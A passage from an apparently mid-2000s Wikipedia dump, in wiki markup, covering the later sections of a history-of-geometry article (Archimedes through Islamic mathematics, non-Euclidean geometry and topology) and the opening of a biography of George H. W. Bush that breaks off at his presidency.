[[Archimedes]] (287-212 B.C.), of [[Syracuse, Italy|Syracuse]], [[Sicily]], when it was a [[Greek city-state]], is often considered to be the greatest of the Greek mathematicians, and occasionally even named as one of the three greatest of all time (along with [[Isaac Newton]] and [[Carl Friedrich Gauss]]). Had he not been a mathematician, he would still be remembered as a great physicist, engineer, and inventor. In his mathematics, he developed methods very similar to the coordinate systems of analytic geometry, and the limiting process of integral calculus. The only element lacking for the creation of these fields was an efficient algebraic notation in which to express his concepts.

===After Archimedes===
After Archimedes, Hellenistic mathematics began to decline. There were a few minor stars yet to come, but the golden age of geometry was over. [[Proclus]] (410-485), author of ''Commentary on the First Book of Euclid'', was one of the last important players in Hellenistic geometry. He was a competent geometer, but more importantly, he was a superb commentator on the works that preceded him. Much of that work did not survive to modern times, and is known to us only through his commentary. The Roman Republic and Empire that succeeded and absorbed the Greek city-states produced excellent engineers, but no mathematicians of note.

The great [[Library of Alexandria]] was later burned. There is a growing consensus among historians that the Library of Alexandria likely suffered from several destructive events, but that the destruction of Alexandria's pagan temples in the late 4th century was probably the most severe and final one. The evidence for that destruction is the most definitive and secure. Caesar's invasion may well have led to the loss of some 40,000-70,000 scrolls in a warehouse adjacent to the port (as Luciano Canfora argues, they were likely copies produced by the Library intended for export), but it is unlikely to have affected the Library or Museum, given that there is ample evidence that both existed later.

Civil wars, decreasing investments in maintenance and acquisition of new scrolls and generally declining interest in non-religious pursuits likely contributed to a reduction in the body of material available in the Library, especially in the fourth century. The Serapeum was certainly destroyed by Theophilus in 391, and the Museum and Library may have fallen victim to the same campaign.

==Islamic geometry (c. 700 - 1500)==
The [[Islam]]ic [[Caliph]]ate ([[Islamic Empire]]) established across the [[Middle East]], [[North Africa]], [[Spain]], [[Portugal]], [[Afghanistan]] and parts of [[Pakistan]], began around [[640|640 CE]]. [[Islamic mathematics]] during this period was primarily algebraic rather than geometric, though there were important works on geometry. Scholarship in Europe declined and eventually the [[Hellenistic]] works of [[antiquity]] were lost to them, and survived only in the Islamic centers of learning.

Although the Muslim mathematicians are most famed for their work on [[algebra]], [[number theory]] and [[number system]]s, they also made considerable contributions to geometry, [[trigonometry]] and mathematical [[astronomy]], and were responsible for the development of [[algebraic geometry]]. Geometrical magnitudes were treated as &quot;algebraic objects&quot; by most Muslim mathematicians however.

The successors of [[Al-Khwarizmi]] (born [[780]]) undertook a systematic application of arithmetic to algebra, algebra to arithmetic, both to trigonometry, algebra to the Euclidean theory of numbers, algebra to geometry, and geometry to algebra. This was how the creation of polynomial algebra, combinatorial analysis, numerical analysis, the numerical solution of equations, the new elementary theory of numbers, and the geometric construction of equations arose.

[[Al-Mahani]] (born [[820]]) conceived the idea of reducing geometrical problems such as duplicating the cube to problems in algebra. Al-Karaji (born [[953]]) completely freed algebra from geometrical operations and replaced them with the [[arithmetic]]al type of operations which are at the core of algebra today.

===Thabit ibn Qurra===
Although [[Thabit ibn Qurra]] (born [[836]]) contributed to a number of areas the most important of his work was in mathematics where he played an important role in preparing the way for such important mathematical discoveries as the extension of the concept of number to ([[positive]]) [[real number]]s, [[integral calculus]], theorems in [[spherical trigonometry]], [[analytic geometry]], and [[non-Euclidean geometry]]. In astronomy Thabit was one of the first reformers of the [[Ptolemaic system]], and in mechanics he was a founder of [[statics]].

An important geometrical aspect of Thabit's work was his book on the composition of ratios. In this book, Thabit deals with arithmetical operations applied to ratios of geometrical quantities. The Greeks had dealt with geometric quantities but had not thought of them in the same way as numbers to which the usual rules of arithmetic could be applied. By introducing arithmetical operations on quantities previously regarded as geometric and non-numerical, Thabit started a trend which led eventually to the generalisation of the number concept.

In some respects, Thabit is critical of the ideas of Plato and Aristotle, particularly regarding motion. It would seem that here his ideas are based on an acceptance of using arguments concerning motion in his geometrical arguments.

===After Thabit ibn Qurra===
[[Ibrahim ibn Sinan]] (born [[908]]), who introduced a method of integration more general than that of [[Archimedes]], and [[al-Quhi]] (born [[940]]) were leading figures in a revival and continuation of Greek higher geometry in the Islamic world. These mathematicians, and in particular [[al-Haytham]], studied optics and investigated the optical properties of mirrors made from [[conic section]]s.

Astronomy, time-keeping and [[geography]] provided other motivations for geometrical and trigonometrical research. For example Ibrahim ibn Sinan and his grandfather [[Thabit ibn Qurra]] both studied curves required in the construction of sundials. [[Abu'l-Wafa]] and [[Abu Nasr Mansur]] both applied [[spherical geometry]] to astronomy.

===Omar Khayyám===
[[Omar Khayyám]] (born [[1048]]) was a [[Persian people|Persian]] mathematician, as well as a poet. Along with his fame as a poet, he was also famous during his lifetime as a mathematician, well known for inventing the general method of solving [[cubic equation]]s by intersecting a parabola with a circle. In addition he discovered the [[binomial expansion]], and authored criticisms of Euclid's theories of parallels which made their way to England, where they contributed to the eventual development of [[non-Euclidean geometry]]. Omar Khayyam also combined the use of trigonometry and [[approximation theory]] to provide methods of solving algebraic equations by geometrical means. He was mostly responsible for the development of algebraic geometry.

In a paper written by Khayyam before his famous algebra text ''Treatise on Demonstration of Problems of Algebra'', he considers the problem: ''Find a point on a quadrant of a circle in such manner that when a normal is dropped from the point to one of the bounding radii, the ratio of the normal's length to that of the radius equals the ratio of the segments determined by the foot of the normal.'' Khayyam shows that this problem is equivalent to solving a second problem: ''Find a right triangle having the property that the hypotenuse equals the sum of one leg plus the altitude on the hypotenuse.'' This problem in turn led Khayyam to solve the cubic equation x&lt;sup&gt;3&lt;/sup&gt; + 200x = 20x&lt;sup&gt;2&lt;/sup&gt; + 2000 and he found a positive root of this cubic by considering the intersection of a rectangular hyperbola and a circle. An approximate numerical solution was then found by interpolation in trigonometric tables. Perhaps even more remarkable is the fact that Khayyam states that the solution of this cubic requires the use of conic sections and that it cannot be solved by ruler and compass methods, a result which would not be proved for another 750 years.

His ''Treatise on Demonstration of Problems of Algebra'' contained a complete classification of cubic equations with geometric solutions found by means of intersecting conic sections. In fact Khayyam gives an interesting historical account in which he claims that the Greeks had left nothing on the theory of cubic equations. Indeed, as Khayyam writes, the contributions by earlier writers such as al-Mahani and [[al-Khazin]] were to translate geometric problems into algebraic equations (something which was essentially impossible before the work of [[al-Khwarizmi]]). However, Khayyam himself seems to have been the first to conceive a general theory of cubic equations.

In ''Commentaries on the difficult postulates of Euclid's book'' Khayyam made a contribution to non-Euclidean geometry, although this was not his intention. In trying to prove the parallel postulate he accidentally proved properties of figures in non-Euclidean geometries. Khayyam also gave important results on ratios in this book, extending Euclid's work to include the multiplication of ratios. The importance of Khayyam's contribution is that he examined both Euclid's definition of equality of ratios (which was that first proposed by [[Eudoxus]]) and the definition of equality of ratios as proposed by earlier Islamic mathematicians such as al-Mahani which was based on [[continued fraction]]s. Khayyam proved that the two definitions are equivalent. He also posed the question of whether a ratio can be regarded as a number but leaves the question unanswered.

===Sharafeddin Tusi===
Persian mathematician [[Sharafeddin Tusi]] (born [[1135]]) did not follow the general development that came through [[al-Karaji]]'s school of algebra but rather followed Khayyam's application of algebra to geometry. He wrote a treatise on cubic equations, which represents an essential contribution to another algebra which aimed to study curves by means of equations, thus inaugurating the study of algebraic geometry.

==The 17th and early 18th centuries==
When Europe began to emerge from its [[Dark Ages]], the [[Hellenistic]] and [[Islam]]ic texts on geometry found in Islamic libraries were translated from [[Arabic]] into [[Latin]]. The rigorous deductive methods of geometry found in Euclid’s ''Elements of Geometry'' were relearned, and further development of geometry in the styles of both Euclid ([[Euclidean geometry]]) and Khayyam ([[algebraic geometry]]) continued, resulting in an abundance of new theorems and concepts, many of them very profound and elegant.

In the early 17th century, there were two important developments in geometry. The first and most important was the creation of [[analytic geometry]], or geometry with coordinates and equations, by [[Rene Descartes]] (1596-1650) and [[Pierre de Fermat]] (1601-1665). This was a necessary precursor to the development of [[calculus]] and a precise quantitative science of [[physics]]. The second geometric development of this period was the systematic study of [[projective geometry]] by [[Girard Desargues]] (1591-1661). Projective geometry is the study of geometry without measurement, just the study of how points align with each other. There had been some early work in this area by [[Hellenistic]] geometers, notably [[Pappus]] (c. 340). The greatest flowering of the field occurred with [[Jean-Victor Poncelet]] (1788-1867).

In the late 17th century, [[calculus]] was developed independently and almost simultaneously by [[Isaac Newton]] (1642-1727) and [[Gottfried Wilhelm von Leibniz]] (1646-1716).  This was the beginning of a new field of mathematics now called [[analysis]]. Though not itself a branch of geometry, it is applicable to geometry, and it solved two families of problems that had long been almost intractable: finding tangent lines to odd curves, and finding areas enclosed by those curves. The methods of calculus reduced these problems mostly to straightforward matters of computation.

==The late 18th and 19th centuries==
===Non-Euclidean geometry===
The old problem of proving Euclid’s Fifth Postulate, the &quot;Parallel Postulate&quot;, from his first four postulates had never been forgotten. Beginning not long after Euclid, many attempted demonstrations were given, but all were later found to be faulty, through allowing into the reasoning some principle which itself had not been proved from the first four postulates. Though Omar Khayyám was also unsuccessful in proving the parallel postulate, his criticisms of Euclid's theories of parallels and his proof of properties of figures in non-Euclidean geometries contributed to the eventual development of [[non-Euclidean geometry]]. By 1700 a great deal had been discovered about what can be proved from the first four, and what the pitfalls were in attempting to prove the fifth. [[Saccheri]], [[Johann Heinrich Lambert|Lambert]], and [[Legendre]] each did excellent work on the problem in the 18th century, but still fell short of success. In the early 19th century, [[Carl_Friedrich_Gauss|Gauss]], [[János Bolyai|Johann Bolyai]], and [[Lobatchewsky]], each independently, took a different approach. Beginning to suspect that it was impossible to prove the Parallel Postulate, they set out to develop a self-consistent geometry in which that postulate was false. In this they were successful, thus creating the first [[non-Euclidean geometry]]. By 1854, [[Bernhard Riemann]], a student of Gauss, had applied methods of calculus in a ground-breaking study of the intrinsic (self-contained) geometry of all smooth surfaces, and thereby found a different non-Euclidean geometry. This work of Riemann later became fundamental for [[Albert Einstein|Einstein]]'s [[theory of relativity]].

It remained to prove mathematically that the non-Euclidean geometry was just as self-consistent as Euclidean geometry, and this was first accomplished by [[Eugenio Beltrami|Beltrami]] in 1868. With this, non-Euclidean geometry was established on an equal mathematical footing with Euclidean geometry.

While it was now known that different geometric theories were mathematically possible, the question remained, &quot;Which one of these theories is correct for our physical space?&quot; The mathematical work revealed that this question must be answered by physical experimentation, not mathematical reasoning, and uncovered the reason why the experimentation must involve immense (interstellar, not earth-bound) distances. With the development of relativity theory in physics, this question became vastly more complicated.

===Introduction of mathematical rigor===
All the work related to the Parallel Postulate revealed that it was quite difficult for a geometer to separate his logical reasoning from his intuitive understanding of physical space, and, moreover, revealed the critical importance of doing so. Careful examination had uncovered some logical inadequacies in Euclid's reasoning, and some unstated geometric principles to which Euclid sometimes appealed. This critique paralleled the crisis occurring in calculus and analysis regarding the meaning of infinite processes such as convergence and continuity. In geometry, there was a clear need for a new set of axioms, which would be complete, and which in no way relied on pictures we draw or on our intuition of space. Such axioms were given by [[David Hilbert]] in 1894 in his dissertation ''Grundlagen der Geometrie'' (''Foundations of Geometry''). Some other complete sets of axioms had been given a few years earlier, but did not match Hilbert's in economy, elegance, and similarity to Euclid's axioms.

===Analysis situs, or topology===
In the mid-18th century, it became apparent that certain progressions of mathematical reasoning recurred when similar ideas were studied on the number line, in two dimensions, and in three dimensions. Thus the general concept of a metric space was created so that the reasoning could be done in more generality, and then applied to special cases. This method of studying calculus- and analysis-related concepts came to be known as analysis situs, and later as [[topology]]. The important topics in this field were properties of more general figures, such as connectedness and boundaries, rather than properties like straightness, and precise equality of length and angle measurements, which had been the focus of Euclidean and non-Euclidean geometry. Topology soon became a separate field of major importance, rather than a sub-field of geometry or analysis.

==The 20th century==
Developments in [[algebraic geometry]] included the study of curves and surfaces over [[finite field]]s, rather than the real or complex numbers. [[Finite geometry]] itself, the study of spaces with only finitely many points, found applications in [[coding theory]] and [[cryptography]].  For some properties of one of the smallest finite spaces, the 3-dimensional projective space over the two-element field, see the [http://diamondtheorem.com diamond theorem]. 

{{sectstub}}

==See also==
*[[List of geometry topics]]
*[[List of important publications in mathematics#Geometry|Important publications in geometry]].

==External links==
{{book}}
* [http://www.cut-the-knot.org/WhatIs/WhatIsGeometry.shtml What Is Geometry?] at [[cut-the-knot]]
* [http://www.elvenkids.com/tools/geometria/Geometria.php Geometria] An online tool to compute lines, surfaces and volumes of the main plane and solid figures, through direct and indirect formulas.
* [http://www.geogebra.at/ Geogebra] A free dynamic geometry tool, useful for exploring geometry.
* [http://agutie.homestead.com Geometry Step by Step from the Land of the Incas] by Antonio Gutierrez.
* [http://www.cut-the-knot.org/geometry.shtml Geometry] at [[cut-the-knot]]
* [http://www.islamicarchitecture.org/art/islamic-geometry-and-floral-patterns.html Islamic Geometry]
* Stanford Encyclopedia of Philosophy:
** [http://plato.stanford.edu/entries/geometry-finitism/ Finitism in Geometry]
** [http://plato.stanford.edu/entries/geometry-19th/ Geometry in the 19th Century]
* [http://www.egwald.com/geometry/index.php Online Interactive Geometric Objects] by Elmer G. Wiens
* [http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/Arabic_mathematics.html Arabic mathematics : forgotten brilliance?]

[[Category:Geometry]]
{{Mathematics-footer}}

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  <page>
    <title>George H. W. Bush</title>
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      <comment>Revert to revision 42100776 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox_President | name=George Herbert Walker Bush
| image=Georgebush.jpg
| order=41st President
| term_start=[[January 20]], [[1989]]
| term_end=[[January 20]], [[1993]]
| vicepresident=[[Dan Quayle|J. Danforth Quayle]]
| predecessor=[[Ronald Reagan]]
| successor=[[Bill Clinton]]
| birth_date=[[June 12]], [[1924]]
| birth_place=[[Milton, Massachusetts|Milton]], [[Massachusetts]], [[United States|USA]]
| death_date=
| death_place=
| spouse=[[Barbara Pierce Bush]]
| party=[[Republican Party (United States)|Republican]]
}}
'''George Herbert Walker Bush''', [[Order of the Bath|GCB]], (born [[June 12]], [[1924]]) was the 41st [[President of the United States]] (1989&amp;ndash;1993). Previously, he had served as a [[United States|U.S.]] [[United States House of Representatives|congressman]] from [[Texas]] (1967&amp;ndash;1971), [[ambassador (diplomacy)|ambassador]] to the [[United Nations]] (1971&amp;ndash;1973), [[Republican National Committee]] chairman (1973&amp;ndash;1974), Chief of the U.S. Liaison Office in the People's Republic of China (1974&amp;ndash;1976), [[Director of the Central Intelligence Agency]] (1976&amp;ndash;1977), Chairman of the First International Bank in Houston (1977&amp;ndash;1980), and the 43rd [[Vice President of the United States]] under President [[Ronald Reagan]] (1981&amp;ndash;1989).  He has twice run unsuccessfully for the United States Senate, once for President of the United States, and once for his reelection to that office. A decorated [[naval aviator]] he is the last [[World War II]] veteran to date to have served as President.  Bush is the father of the 43rd and current president, [[George W. Bush|George Walker Bush]]. His father, [[Prescott Bush]], was a [[United States Senator]].

From a policy standpoint, Bush pursued moderate policies in both domestic and foreign policy. During the final days of the [[Cold War]], he was responsible for managing US foreign policy during the delicate transition of the Soviet Union and eastern Europe from communism to democracy. He championed the concept of a [[New World Order]] where international law and global consensus would replace military and strategic confrontation as a means of accomplishing diplomatic objectives. This idea was exemplified during the [[Gulf War]], when the US rallied a global coalition to reverse the invasion of [[Kuwait]] by [[Iraq]] under [[Saddam Hussein]]. In domestic policy, Bush's most notable initiative was the [[Omnibus Budget Reconciliation Act of 1990]], a controversial compromise with congressional Democrats which traded spending controls for tax increases to balance the federal budget. 

== Early life ==
George Herbert Walker Bush was born in [[Milton, Massachusetts|Milton]], [[Massachusetts]] to [[Prescott Bush]] and Dorothy Walker.  His father served as a U.S. Senator from [[Connecticut]] and was a partner in the prominent investment banking firm [[Brown Brothers Harriman]].  His grandfather, for whom he was named, was [[George Herbert Walker]], a wealthy businessman and important figure in American [[golf]] history

George Bush began his formal education at the [[Greenwich Country Day School]] in [[Greenwich, Connecticut|Greenwich]], Connecticut. Bush attended [[Phillips Academy]] in [[Andover, Massachusetts|Andover]], Massachusetts from 1936 to 1942, where he demonstrated early leadership, [[captain (sports)|captaining]] the [[baseball]] team, and was a member of an exclusive fraternity called the A.U.V, or &quot;Auctoritas, Unitas, Veritas&quot; &amp;ndash; Latin for &quot;Authority, Unity, Truth&quot;. His roommate at the [[boarding school]] was a young man named [[Edward G. Hooker.]]  It was at Phillips Academy that Bush learned of the surprise attack on [[Pearl Harbor]] on [[December 7]], [[1941]].

== World War II: decorated naval aviator ==
[[Image:Bush ruth.jpg|thumb|left|200px|George H. W. Bush met [[Babe Ruth]] as a student at Yale.]]

After graduating from Phillips Academy in June, 1942, he joined the [[United States Navy|U.S. Navy]] on his 18th [[birthday]] to become an [[aviator]]. After completing the 10-month course, he was commissioned as an ensign in the U.S. Naval Reserve on [[June 9]] [[1943]], several days before his 19th birthday, which made him the youngest naval aviator to that date.

After finishing flight training he was assigned to [[Torpedo Squadron]] (VT-51) as photographic officer in September 1943. As part of Air Group 51, his squadron was based on [[USS San Jacinto (CVL-30)|U.S.S. ''San Jacinto'']] in the spring of 1944. ''San Jacinto'' was part of Task Force 58 that participated in operations against [[Minami Torishima|Marcus]] and [[Wake Island|Wake Islands]] in May, and then in the [[Marianas]] during June. On [[June 19]] the task force triumphed in one of the largest air battles of the war. On his return from the mission Bush's aircraft made a forced water landing. A [[submarine]] rescued the young pilot, although the plane was lost as well as the life of his navigator. On [[July 25]] Bush and another pilot received credit for sinking a small cargo ship off [[Palau]]. 

After Bush's promotion to Lieutenant Junior Grade on [[August 1]], ''San Jacinto'' commenced operations against the Japanese in the [[Ogasawara Islands|Bonin Islands]]. On [[September 2]], 1944, Bush piloted one of four aircraft from VT-51 that attacked the Japanese installations on [[Chichi Jima]]. For this mission his crew included Radioman Second Class John Delaney and Lieutenant Junior Grade William White, who substituted for Bush's regular gunner. During their attack four TBM Avengers from VT-51 encountered intense antiaircraft fire. While starting the attack, Bush's aircraft was hit and his engine caught on fire. He completed his attack and released the bombs over his target, scoring several damaging hits. With his engine on fire, Bush flew several miles from the island, where he and one other crew member on the TBM Avenger bailed out of the aircraft. However, the other man's [[parachute]] did not open, and he fell to his death. It was never determined which man bailed out with Bush. Both Delaney and White were killed in action. While Bush waited four hours in his inflated [[raft]], several fighters circled protectively overhead until he was rescued by the lifeguard [[submarine]] [[USS Finback (SS-230)|U.S.S. ''Finback'']]. For this action Bush received the [[Distinguished Flying Cross (USA)|Distinguished Flying Cross]]. During the month he remained on ''Finback'', Bush participated in the rescue of other pilots.

Bush subsequently returned to ''San Jacinto'' in November 1944 and participated in operations in the [[Philippines]]. When ''San Jacinto'' returned to [[Guam]], the squadron, which had suffered 50 percent casualties of its pilots, was replaced and sent to the [[United States]]. Through 1944 he had flown 58 combat missions for which he received the Distinguished Flying Cross, three Air Medals, and the Presidential Unit Citation awarded aboard the ''San Jacinto''.

Because of his valuable combat experience, Bush was reassigned to [[Naval Station Norfolk|Norfolk Navy Base]] and put in a training wing for new torpedo pilots. He was later assigned as a naval aviator in a new torpedo squadron, VT-153. With the surrender of Japan, he was honorably discharged in September 1945 and then entered [[Yale University]].

== Postwar: Yale, family, oil business == 
[[Image:skull_and_bones.jpg|thumb|right|150px|[[Skull and Bones]] entry from the [[1948]] [[Yale Banner]]. Former President George Herbert Walker Bush is listed fourth down.]]
While at Yale, he joined the [[Delta Kappa Epsilon]] [[fraternities and sororities|fraternity]] and was elected President.  He also captained the Yale baseball team. A left-handed [[first baseman]], Bush played in the first [[College World Series]]. As a Senior he was, like his son [[George W. Bush]] (1968) and his father [[Prescott S. Bush]] (1917), inducted into the [[Skull and Bones]] [[secret society]] in 1948, helping him to build friendships and political support.  Joining the Skull and Bones a year after him at Bush's request was [[William Sloane Coffin]], a fellow classmate from the Phillips Academy.  Throughout their lives, they have remained friends despite political disagreement, as Coffin became a notable anti-war activist of the political left.
[[Image:Baseball_cropped.jpg|thumb|left|150px|Captain-elect &quot;Poppy&quot; Bush as featured in a 1948 Yale Banner.]]
He married [[Barbara Bush|Barbara Pierce]] on [[January 6]], [[1945]]. Their marriage produced six children: [[George W. Bush|George W.]], [[Robin Bush|Pauline Robinson]] (&quot;Robin&quot;) (1949&amp;ndash;1953, died of [[leukemia]]), [[Jeb Bush|John (Jeb)]], [[Neil Bush|Neil]], [[Marvin Bush|Marvin]], and [[Dorothy Bush|Dorothy Walker]].  The family has built on Bush's political successes, effectiveness as Rockefeller tributaries for four generations of Walkers and Bushes, and those of his father Sen. Prescott Bush, with his son George W. Bush's [[Governor of Texas|Governorship of Texas]] and subsequent election as president, and his son Jeb Bush's election as [[Governor of Florida]]. The Bush political &quot;dynasty&quot; has been compared to that of [[John Adams]] and the [[Kennedy political family|Kennedy family]]. Bush's maternal grandfather was [[George Herbert Walker|George Herbert Walker Sr.]], the founder of G.H. Walker &amp; Co. and namesake of [[golf]]'s [[Walker Cup]]. Bush's uncle [[George Herbert Walker, Jr.]] is the current head of the company. Bush's first cousin [[George Herbert Walker III]] is the U.S. ambassador to Hungary.

Bush ventured into the highly speculative Texas oil exploration business after World War II with considerable success. He secured a position with [[Dresser Industries]]. His son, Neil Mallon Bush, is named after his employer at Dresser, Neil Mallon, who became a close family friend.  Dresser Industries, decades later, merged with [[Halliburton]], whose former CEOs include [[Dick Cheney]], George H. W. Bush's Secretary of Defense and, [[as of 2005]], Vice President of the United States.

==Congressman and failed Senate campaigns==
[[Image:Bush reagan.jpg|thumb|300px|Vice President Bush in a meeting with President [[Ronald Reagan]] in 1984.]]
In 1964, Bush ventured into conventional politics by running against Texas' Democratic Senator [[Ralph Yarborough]], making an issue of Yarborough's support of the [[Civil Rights Act of 1964]].  At the time many Southern politicians (including the Republican Sen. [[John Tower]] of Texas) opposed the legislation.  Bush called Yarborough an &quot;extremist&quot; and a &quot;left wing demagogue&quot; while Yarborough said Bush was a &quot;[[carpetbagger]]&quot; trying to buy a Senate seat &quot;just as they would buy a seat on the New York Stock Exchange&quot;. Bush lost in the 1964 in a Democratic landslide.

Bush did not give up on elective politics, and was elected in 1966 and 1968 to the [[United States House of Representatives|House of Representatives]] from the [[United States House of Representatives, Texas District 7|7th District of Texas]].  

Bush lost his second attempt at a Senate seat in 1970 to Democrat [[Lloyd Bentsen]], who had defeated the incumbent Yarborough in the Democratic primary.  Coincidently, Bentsen would later became the Democratic Party nominee for Vice President in the 1988 presidential election and, teamed with Massachusetts Governor [[Michael Dukakis]], would lose to the Bush-Quayle ticket; in 1993, Bentsen became Secretary of the Treasury in the Clinton Administration.

==1970s appointive offices==
After the 1970 election loss, President [[Richard Nixon]] appointed Bush to [[United States Ambassadors to the United Nations|United States Ambassador to the United Nations]], at which he served from 1971 to 1973.

After Nixon was re-elected President in 1972, he asked Bush to become Chairman of the [[Republican National Committee]]. Bush held this position during the [[Watergate scandal]], when the popularity of both Nixon and the Republican Party plummeted.  Bush defended Nixon steadfastly, but later as Nixon's complicity became clear he focused more on defending the Republican Party while still maintaining loyalty to Nixon. 

After Nixon's resignation in 1974, Bush was considered for appointment as the replacement Vice President, but new President [[Gerald Ford]] chose [[Nelson Rockefeller]] instead.  Ford appointed Bush to be Chief of the U.S. Liaison Office in the [[People's Republic of China]]. (Since the United States at the time maintained official relations with the [[Republic of China]] on [[Taiwan]] and not the PRC, the Liaison Office did not have the official status of an embassy and Bush did not hold the position of &quot;ambassador&quot; even though he unofficially acted as one.)

In 1975, Ford brought Bush back to Washington to become [[Director of Central Intelligence]].  The CIA had been rocked by a series of revelations about illegal and unauthorized activities, and Bush was credited with helping to restore the agency's morale and integrity. &lt;ref&gt;[http://worldroots.com/brigitte/bush.htm George Herbert Walker Bush] - WorldRoots.com, accessed [[February 26]], [[2006]]&lt;/ref&gt; In 1999, the CIA headquarters facility in [[Langley, Virginia|Langley]], [[Virginia]] was renamed the George Bush Center for Intelligence.  &lt;ref&gt;[http://www.cia.gov/cia/information/bush.html  The George Bush Center for Intelligence] - [[CIA]], accessed [[February 26]], [[2006]] &lt;/ref&gt;

Bush has since commented that he did not particularly enjoy this string of jobs, saying he never wanted to be a &quot;career bureaucrat&quot;. However, had Bush not received this succession of appointments after his Senate defeat in 1970, it is unlikely he would have risen to a level of national prominence in politics.

After a Democratic administration took power in 1977, Bush became Chairman of the First International Bank in Houston. He also became a board member of the [[Committee on the Present Danger]].

==1980 presidential campaign==
In the [[U.S. presidential election%2C 1980|1980 presidential election]], Bush ran for the office, stressing his wide range of government experience.  In the contest for the [[United States Republican Party|Republican Party]] nomination, despite Bush's establishment backing, the front-runner was [[Ronald Reagan]], former [[Governor of California]] who was now running for the third time for President.

Bush was not above criticizing Reagan, labeling the latter's [[supply-side economics|supply side]]-influenced plans for massive [[tax cut]]s as &quot;voodoo economics&quot;.
Bush won the [[Iowa caucus]] to start the primary season, causing him to tell the press that he had &quot;Big Mo&quot; (meaning [[momentum]]).  However, Reagan came back to decisively win the following [[New Hampshire primary]], and Bush's &quot;mo&quot; was gone. &lt;ref&gt;[http://msnbc.msn.com/id/3910349/from/RL.2/ Expectations, momentum, fatal mistakes] - Tom Curry, [[MSNBC]], [[January 15]], [[2004]]&lt;/ref&gt; With a growing popularity among the Republican voting base, Reagan won most of the remaining primaries and the nomination.

==Vice President==
{| class=&quot;wikitable&quot; width=&quot;250&quot; style=&quot;float:right; text-align:left; margin:1em 0 1em 1em&quot;
|-
! Order:
| 43rd Vice President
|-
! Term of Office:
| [[January 20]], [[1981]] – [[January 20]], [[1989]]
|-
! Preceded by:
| [[Walter Mondale]]
|-
! Succeeded by:
| [[Dan Quayle]]
|-
! [[President of the United States|President]]:
| [[Ronald W. Reagan]]
|-
! Political&amp;nbsp;party:
| [[Republican Party (United States)|Republican]]
|}

After some preliminary discussion of choosing former President [[Gerald Ford]] as his running mate, Reagan selected Bush as his Vice President, placing him on the winning Republican Presidential ticket of 1980.  Bush had declared he would never be Reagan's VP.  Bush was many things Reagan had not been - a life-long Republican, a combat veteran, and an [[internationalism|internationalist]] with [[United Nations|UN]], [[Central Intelligence Agency|CIA]], and [[China]] experience.  Bush was also more moderate in his economic positions and political philosophy than Reagan.  

As Vice President, Bush was loyal to Reagan and kept any policy differences hidden.  Bush did not wield strong power within the Reagan administration, but had some influence on Reagan's staffing and was given some line responsibilities. &lt;ref&gt;[http://www.policyreview.org/FEB01/felzenberg_print.html The Vice Presidency Grows Up] - Alvin S. Felzenberg, PolicyReview.com, accessed [[February 26]], [[2006]]&lt;/ref&gt; Reagan kept Bush busy on overseas diplomatic trips; Bush attended so many [[state funeral]]s that he famously quipped, &quot;I'm George Bush. You die, I fly.&quot; &lt;ref&gt;[http://worldroots.com/brigitte/bush.htm George Herbert Walker Bush] - WorldRoots.com, accessed [[February 26]], [[2006]]&lt;/ref&gt;

The Reagan/Bush ticket won again in 1984, against the Democrats' [[Walter Mondale]]/[[Geraldine Ferraro]] ticket.  

During his second term as [[Vice President]], Bush had the distinction of becoming the first [[Vice President]] to become [[Acting President of the United States|Acting President]] when, on [[July 13]], [[1985]], President [[Ronald Reagan|Reagan]] underwent surgery to remove polyps from his colon.  Bush served as [[Acting President of the United States|Acting President]] for approximately eight hours, most of which he passed playing tennis.

When the [[Iran-Contra Affair]] broke in 1986, Bush stated that he had been &quot;out of the loop&quot; and unaware of the Iran initiatives related to arms trading. &lt;ref&gt;[http://www.nytimes.com/books/97/06/29/reviews/iran-transcript.html Transcript] - ''[[New York Times]]'', [[June 30]], [[1997]]&lt;/ref&gt; This claim met with some skepticism, but Bush was never charged with any wrongdoing.

==1988 presidential campaign==
[[Image:George H. W. Bush inauguration.jpg|thumb|250px|Chief Justice [[William Rehnquist]] administering the oath of office to President George H. W. Bush during Inaugural ceremonies at the [[United States Capitol]]. January 20, 1989.]]

In 1988, after eight years as Vice President, Bush ran for President. Though considered the early frontrunner for the nomination, Bush came in third in the [[Iowa caucus]], beaten by winner U.S. Senator [[Bob Dole]] and runner-up [[televangelist]] [[Pat Robertson]].  However, Bush rebounded to win the [[New Hampshire primary]], partly because of television commercials portraying Dole as a tax raiser. Once the multiple-state primaries such as [[Super Tuesday]] began, Bush's organizational strength and fundraising lead were impossible for the other candidates to match, and the nomination was his.  

Leading up to the [[1988 Republican National Convention]], there was much speculation as to Bush's choice of running mate. In a move anticipated by few and later criticized by many, Bush chose little-known U.S. Senator [[Dan Quayle]] of [[Indiana]].  On the eve of the convention, Bush trailed Democratic nominee [[Michael Dukakis]], then [[Massachusetts]] governor, by double digits in most polls. Bush, often criticized for his lack of eloquence compared to Reagan, surprised many by giving possibly the best speech of his public career, widely known as the &quot;Thousand points of light&quot; speech &lt;ref&gt;[http://www.americanrhetoric.com/speeches/georgehbush1988rnc.htm George H.W. Bush: 1988 Republican National Convention Acceptance Address] - transcript, speech delivered [[August 18]], [[1988]], [[Superdome]], [[New Orleans]]&lt;/ref&gt; for his use of that phrase to describe his vision of American community. Bush's acceptance speech and a generally well-managed Convention catapulted him ahead of Dukakis in the polls, and he held the lead for the rest of the race. Bush's acceptance speech at the convention included the famous pledge, ''[[Read my lips: no new taxes]]''.

The campaign was noted for its highly negative television advertisements. One advertisement run by the Bush campaign showed Dukakis awkwardly riding in a [[United States Army|U.S. Army]] [[tank]]. Another, produced and placed by an independent group supporting Bush, referred to murderer [[Willie Horton]] who committed a rape and assault while on a weekend furlough from a life sentence being served in Massachusetts. Dukakis's unconditional opposition to [[capital punishment in the United States]] also lead to a pointed question during the US Presidential debates. Moderator Bernard Shaw asked Dukakis hypothetically if Dukakis would support the death penalty if his wife were raped and murdered. Dukakis's response was widely criticized as wooden and technical, and helped characterize him as &quot;soft on crime.&quot; These images helped enhance Bush's stature as a possible [[Commander-in-Chief]] compared to the Massachusetts governor.

The Bush-Quayle ticket beat [[Michael Dukakis]] and [[Lloyd Bentsen]] soundly in the [[U.S. Electoral College|Electoral College]], by 426 to 111 (Lloyd Bentsen received one vote).  In the nationwide popular vote, Bush took 53.4% of the ballots cast while Dukakis gained 45.6%.

==Presidency 1989-1993==
===Policies===
Foreign policy drove the Bush presidency from its first days.  In his [[January 20]], [[1989]] Inaugural Address upon taking the Presidency, Bush said: 
